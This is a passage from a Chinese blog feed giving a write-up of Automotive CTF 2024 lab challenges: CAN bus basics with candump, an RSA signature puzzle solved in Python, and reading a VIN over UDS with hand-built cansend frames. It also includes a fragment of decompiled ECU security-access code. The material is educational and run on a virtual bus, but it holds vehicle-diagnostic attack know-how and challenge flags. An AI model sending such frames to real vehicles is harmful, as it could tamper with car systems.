</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="n">v3</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">15</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">result</span><span class="p">)</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">byte_20032B0C</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">28</span><span class="p">]</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">      <span class="n">v3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">byte_20032B40</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">result</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">      <span class="k">return</span> <span class="nf">sub_8004268</span><span class="p">(</span><span class="n">v1</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="n">byte_20032B40</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="o">++</span><span class="n">dword_20032B3C</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="n">dword_20032B38</span> <span class="o">=</span> <span class="n">dword_20032B10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">return</span> <span class="nf">sub_80042BC</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">53</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>后面不想写了，去看yichen吧</p>
<hr>
<p>参考文章：</p>
<ol>
<li><a
  href="https://zhuanlan.zhihu.com/p/97953640" rel="nofollow noopener noreferrer" target="_blank"
  >一文读懂ECDSA算法如何保护数据<span style="user-select:none"> ↗</span></a
>
</li>
</ol>
]]></content:encoded><h:img src="https://h4cker.zip/1f51f4/vsec2025.webp"/><enclosure url="https://h4cker.zip/1f51f4/vsec2025.webp"/><category>caringcaribou</category><category>暴力破解</category><category>ECDSA</category><category>安全访问</category><category>Reverse</category></item><item><title>Automotive CTF 2024 Writeup</title><link>https://h4cker.zip/53c0e2/</link><pubDate>Mon, 18 Aug 2025 16:14:17 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/53c0e2/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>之前了解到了2024的汽车安全CTF，去搜了一下，发现官方提供了汽车安全的学习课程、还有靶场，这里记录靶场题解，还有学习过程中的内容，目前课程前面不少法律法规，很无聊</p>
<p>这个比赛的词条很多：VSEC 2024和</p>
<p>VicOne and Block Harbor&rsquo;s Automotive CTF</p>
<p>2025年的汽车安全CTF在8 月 22 日至 25 日和 8 月 29 日至 9 月 1 日开启，希望在这之前能刷完这些题目，去今年的比赛上做出一两道</p>
<blockquote>
<p>注意，由于2024的靶场已关闭，并且许多题目尚未迁移到BlockHarbor靶场（比如OSINT），所以我也做不了24年的题目，我是根据 Proving Grounds Walkthrough 的课程做的，目前课程里的题目全部做完，但是靶场里VSEC 的题目还差一些，后续会补充</p>
</blockquote>
<h2 id="getting-started">Getting Started<a class="anchor" href="#getting-started">#</a></h2>
<h3 id="can-you-find-the-interface">Can you find the interface?<a class="anchor" href="#can-you-find-the-interface">#</a></h3>
<p>打开UDS的模拟器，输入<code>ifconfig</code> 或者<code>ip link</code>都能找到<code>vcan0</code>的网卡名称</p>
<p>实际操作中应该是<code>can0</code>之类，v一般代表虚拟设备，用来调试、仿真</p>
<h3 id="arbitration">Arbitration<a class="anchor" href="#arbitration">#</a></h3>
<p><code>candump vcan0</code></p>
<p>输出：<code>vcan0  59E   [2]  9E 10</code></p>
<p><code>vcan0</code>是接口名称，表示 CAN 帧的来源接口</p>
<p><code>59E</code>就是标识符（仲裁ID），CAN ID 可以是 11 位（标准帧）或 29 位（扩展帧）。这里 59E 是 11 位标准帧（因为值在 0x000 到 0x7FF 范围内）。ID 决定了消息的优先级（数值越低，优先级越高）。具体含义取决于应用程序协议（如汽车中的 ECU 通信）</p>
<p><code>[2]</code>: 数据长度代码（DLC），表示 CAN 帧中 <strong>数据字段的字节数</strong>，范围是 0 到 8。</p>
<p><code>9E 10</code>: 数据字段， 这是 CAN 帧的 <strong>实际传输数据</strong>，以十六进制字节序列表示。</p>
<h3 id="data-field-1">Data Field 1<a class="anchor" href="#data-field-1">#</a></h3>
<p>2</p>
<h3 id="data-field-2">Data Field 2<a class="anchor" href="#data-field-2">#</a></h3>
<p>9E10</p>
<h3 id="message-frequency">Message Frequency<a class="anchor" href="#message-frequency">#</a></h3>
<p>赫兹是每秒发送的次数</p>
<p><code>candump -t a vcan0</code>，<code>-t a</code>的意思是显示精确时间戳</p>
<p>可以看到每次都隔了一秒左右，计算下来大约是1赫兹</p>
<h2 id="crypto">Crypto<a class="anchor" href="#crypto">#</a></h2>
<h3 id="pow-pow">pow pow!<a class="anchor" href="#pow-pow">#</a></h3>
<p>给了</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="ln">1</span><span class="cl">I signed my flag, thats pretty much the same as encryption, right?
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl">pub_e: 65537
</span></span><span class="line"><span class="ln">4</span><span class="cl">pub_n: 27130058966678375728118690628915085193505679921867847648180394177280300520851322209827953313677610995977175396855400115719997248093217978788791475794191309606741245965521564249520758557425707716276357612383008262150259072257782913410617175802499340022388447047629022386881255413171331856263374853843961598744215379945538726953506454859112787839466674350352298690863753069032704210896554984332177790093120515590458961735089368466550753534317073220559703261053361251093853868715391272704827131460657841223647599202717920842362378900859386228898179814271143542598798022604629591665790726585192070387959726079579927264339
</span></span><span class="line"><span class="ln">5</span><span class="cl">flag: 4172204809297405811985500677636732349089473540889855289757337736512303070584208009356148963914969296139250262532036044670829787749340381486502259003934029518250084291211843615602473277568939725661998743287881104315586743909166094376545879628924755210696938802618107247235991939968132055218667508994013042802832653274036857030938271120371493508056689333496510130233288415153533743215499505779621204995381781585793891494891361783339201260743345041742788508748141553059420124837675803038062487182700364305742864198416705040747639989644160240694540025745969599421913149372250571544665491768421384384768919101583170066211</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">txt</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>RSA签名，最简单的RSA了，我不懂密码，但是deepseek思考这个居然死机了，其他AI脚本都给我生成好了</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="mi">27130058966678375728118690628915085193505679921867847648180394177280300520851322209827953313677610995977175396855400115719997248093217978788791475794191309606741245965521564249520758557425707716276357612383008262150259072257782913410617175802499340022388447047629022386881255413171331856263374853843961598744215379945538726953506454859112787839466674350352298690863753069032704210896554984332177790093120515590458961735089368466550753534317073220559703261053361251093853868715391272704827131460657841223647599202717920842362378900859386228898179814271143542598798022604629591665790726585192070387959726079579927264339</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">flagc</span> <span class="o">=</span> <span class="mi">4172204809297405811985500677636732349089473540889855289757337736512303070584208009356148963914969296139250262532036044670829787749340381486502259003934029518250084291211843615602473277568939725661998743287881104315586743909166094376545879628924755210696938802618107247235991939968132055218667508994013042802832653274036857030938271120371493508056689333496510130233288415153533743215499505779621204995381781585793891494891361783339201260743345041742788508748141553059420124837675803038062487182700364305742864198416705040747639989644160240694540025745969599421913149372250571544665491768421384384768919101583170066211</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">flagc</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">flag</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]))</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><code>bh{signing_is_not_encryption!}</code></p>
<h2 id="uds-challenge">UDS Challenge<a class="anchor" href="#uds-challenge">#</a></h2>
<p>为了做这题，我学习了一点点UDS基础，赶紧记下来做题。</p>
<p>首先感谢yichen大佬（小熊猫），然后推荐的文章是：</p>
<p><a
  href="https://zhuanlan.zhihu.com/p/37310388" rel="nofollow noopener noreferrer" target="_blank"
  >https://zhuanlan.zhihu.com/p/37310388<span style="user-select:none"> ↗</span></a
>
</p>
<h3 id="simulation-vin">Simulation VIN<a class="anchor" href="#simulation-vin">#</a></h3>
<p>既然要读取VIN，我们需要知道VIN存储在哪个地方，这个地方就用DID表示，比如DID里面F190就是存储VIN的地方，为什么是F190呢？因为是国际标准的规定，当然也有一些段是留给车厂自己自定义的。</p>
<blockquote>
<p>0xF190 VINDataIdentifier 该值应用于参考VIN号码。 记录数据内容和格式应由车辆制造商指定。</p>
</blockquote>
<p>我们要通过DID读取里面的数据，而这个功能则是SID为22的服务</p>
<p>根据前面CAN帧的学习，我们的数据已经构造好了就是简单的<code>22F190</code>，总共三个字节长，首部加上长度，<code>0322F190</code>，现在我们需要一个CAN ID，通常使用7DF，这个ID非常重要，是功能寻址，也就是广播消息，他会向所有ECU发送数据</p>
<p>现在我们的CAN帧就是<code>7DF#0322F190</code></p>
<p>先执行<code>candump -l vcan0 &amp;</code>，他会在后台保存所有日志</p>
<p>然后发送上面构造的消息</p>
<p><code>cansend vcan0 7DF#0322F190</code></p>
<p>查看日志</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">(1755797512.727185) vcan0 59E#9E10
</span></span><span class="line"><span class="ln">2</span><span class="cl">(1755797513.588803) vcan0 7DF#0322F190
</span></span><span class="line"><span class="ln">3</span><span class="cl">(1755797513.589071) vcan0 7E8#101462F190666C61
</span></span><span class="line"><span class="ln">4</span><span class="cl">(1755797513.728328) vcan0 59E#9E10
</span></span><span class="line"><span class="ln">5</span><span class="cl">(1755797514.729405) vcan0 59E#9E10</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><code>0x7E8</code> 到 <code>0x7EF</code> 通常预留给ECU用于响应诊断请求。<code>0x7E8</code> 通常是第一个ECU的响应地址。</p>
<p>第一个字节10表示这是一个“首帧”，就是要返回的数据很长，一次发不完，它先发你第一个帧，这些帧叫连续帧。</p>
<p>第二个字节14代表长度，与前面的0构成帧的总长度，014转十进制代表长度是20个字节</p>
<p>第三个字节62代表肯定的响应。<strong>肯定的响应</strong>（Positive Response），首字节回复**[SID+0x40]<strong>，比如我发送的SID是0x22，这里加上0x40就是0x62。<strong>否定的响应</strong>（Negative Response），首字节回复</strong>0x7F**，第二字节回复刚才询问的SID。</p>
<p>第四、五个字节F190代表回显的DID，以便诊断工具知道这个响应对应哪个请求</p>
<p>第六、七、八个字节就是实际数据，当然只是第一部分。</p>
<p>所以我们现在需要问它要剩下的帧，这里需要发送一个叫做“流控制帧”的东西</p>
<p><code>7E0#3000000000000000</code></p>
<p>7E8实际上是7E0的rsp，所以我们需要向7E0发帧</p>
<p>第一个字节30，是流控制帧的标识符，3代表这是流控帧</p>
<p>第二个字节00是块大小，告诉ECU，在等待下一个流控制帧之前，可以连续发送多少个连续帧。00表示ECU可以一次性发送所有剩余的连续帧，无需等待新的流控帧。如果写01，就代表它每发一个连续帧，就要等我发一个流控帧。</p>
<p>第三个字节00代表连续帧的最小间隔时间（毫秒），00代表没有延迟，立即发送</p>
<p>剩余字节都是00，是用来填充的，没有意义</p>
<p>发送流控帧：<code>cansend vcan0 7E0#3000000000000000</code></p>
<p>这里不知道为什么收不到消息，所以使用Arahat0师傅的方法，终端分屏，使用</p>
<p><code>candump vcan0,780:780</code>监听0x7E8、0x7DF、0x7E0等消息，重复之前的发包</p>
<p>收到</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">vcan0  7E8   [8]  21 67 7B 76 31 6E 5F 42
</span></span><span class="line"><span class="ln">2</span><span class="cl">vcan0  7E8   [8]  22 48 6D 61 63 68 33 7D</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
